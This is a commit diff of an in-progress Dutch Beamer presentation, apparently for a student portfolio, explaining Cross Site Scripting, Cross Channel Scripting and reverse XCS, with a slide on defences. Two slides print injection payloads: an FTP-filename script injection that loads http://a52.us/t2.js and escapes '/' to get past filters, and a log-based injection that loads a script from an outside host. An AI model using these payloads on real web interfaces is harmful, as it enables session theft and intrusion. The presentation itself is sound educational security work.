Commit 011be19a authored by Taddeüs Kroes's avatar Taddeüs Kroes

Portfolio XCS: worked on presentation.

parent ba55d183
\documentclass{beamer} \documentclass{beamer}
\usepackage[dutch,english]{babel} \usepackage[english,dutch]{babel}
\usepackage{url} \usepackage{url,verbatim,graphicx}
\title{The emergence of Cross Channel Scripting} \title{The emergence of Cross Channel Scripting}
\author{Tadde\"us Kroes} \author{Tadde\"us Kroes}
...@@ -14,69 +14,139 @@ ...@@ -14,69 +14,139 @@
\frame \frame
{ {
\frametitle{}
\tableofcontents \tableofcontents
} }
\section{Introductie XSS/XCS} \section{Introductie Cross Site Scripting}
\frame \frame
{ {
\frametitle{Wat is XSS?} \frametitle{Cross Site Scripting (XSS)}
\begin{itemize} \begin{itemize}
\item Cross Site Scripting \item Invoegen van scripts op een webpagina door slechte validatie
\item \item Web to web
\item presistent of non-persistent
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{Wat is XCS?} \frametitle{Cross Site Scripting: een simpel voorbeeld}
\begin{figure}
\includegraphics{1-infect.png}
\caption{Aanvaller voert een script dat de sessie uitleest}
\end{figure}
}
\frame
{
\frametitle{Cross Site Scripting: een simpel voorbeeld (2)}
\begin{figure}
\includegraphics[scale=.7]{2-visit.png}
\caption{Gebruiker bezoekt pagina, script wordt uitgevoerd}
\end{figure}
}
\section{Cross Channel Scripting}
\subsection{Introductie}
\frame[containsverbatim]
{
\frametitle{Cross Channel Scripting (XCS)}
\begin{itemize} \begin{itemize}
\item Cross Channel Scripting \item Non-web to web
\item \item Infectie gaat over een andere ``channel'' dan executie:
\begin{verbatim}
aanvaller -> protocol A -> service A # infectie
|
doewit <- protocol B <- service B # executie
\end{verbatim}
\item Persistent
\item Twee op zichzelf veilige services A en B zijn samen onveilig
\item Moeilijker te detecteren dan XSS
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{Reverse XCS?} \frametitle{Voorbeeld XSC: FTP exploit}
Een apparaat upload bestanden naar web-interface, kunnen we een script
meesturen in de bestandsnaam? \\
\vspace{4mm}
\textbf{Uitdagingen}
\begin{itemize} \begin{itemize}
\item \item Bestandsnaam heeft beperkte lengte
\item Bestandsnamen kunnen geen '/' bevatten
\end{itemize} \end{itemize}
} }
\section{Toepassing} \frame[containsverbatim]
{
\frametitle{Voorbeeld XSC: FTP exploit (2)}
\subsection{XCS} \begin{verbatim}
"<iframe onload='javascript:document.write(
&apos;<html><head><&#47;head><body><script src
=&quot;http&#58;&#47;a52.us&#47;t2.js&quot;>
<&#47;script><&#47;body><&#47;html>&apos;);'
src='index.htm'>"
\end{verbatim}
\begin{itemize}
\item Laad een extern script \url{http://a52.us/t2.js} (van
willekeurige lengte)
\item Splits eventueel over meerdere bestandsnamen
\item Pas HTML escaping toe om '/' te vervangen
\item Gebruik iframe \texttt{onload}-event voor omzeilen van
character set
\end{itemize}
}
\subsection{Voorbeeld: Log-based XCS}
\frame[containsverbatim]
{
\frametitle{Voorbeeld: Log-based XCS}
\begin{verbatim}
r","","");\\/--></script><script src="http://xxx"></script>
\end{verbatim}
}
\section{Reverse XCS}
\frame \frame
{ {
\frametitle{Voorbeeld 1: XSC } \frametitle{Reverse XCS}
\begin{itemize} \begin{itemize}
\item Web to non-web
\item \item
\end{itemize} \end{itemize}
} }
\subsection{RXCS}
\frame \frame
{ {
\frametitle{Voorbeeld 2: RXCS } \frametitle{Voorbeeld RXCS: The ghost in the photo frame}
\vspace{4mm}
\textbf{Uitdagingen}
\begin{itemize} \begin{itemize}
\item \item
\item
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{Voorbeeld 3: RESTful RXCS} \frametitle{RESTful RXCS}
\begin{itemize} \begin{itemize}
\item \item
...@@ -90,7 +160,10 @@ ...@@ -90,7 +160,10 @@
\frametitle{Beveiliging} \frametitle{Beveiliging}
\begin{itemize} \begin{itemize}
\item \item Encoding/escaping
\item Valideren van onvertrouwde HTML-uitvoer
\item Cookies
\item Blokkeren van scripts door gebruiker
\end{itemize} \end{itemize}
} }
...@@ -105,4 +178,13 @@ ...@@ -105,4 +178,13 @@
\end{itemize} \end{itemize}
} }
\frame
{
\frametitle{Meer informatie}
\begin{itemize}
\item \url{http://en.wikipedia.org/wiki/Cross-site\_scripting}
\end{itemize}
}
\end{document} \end{document}
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment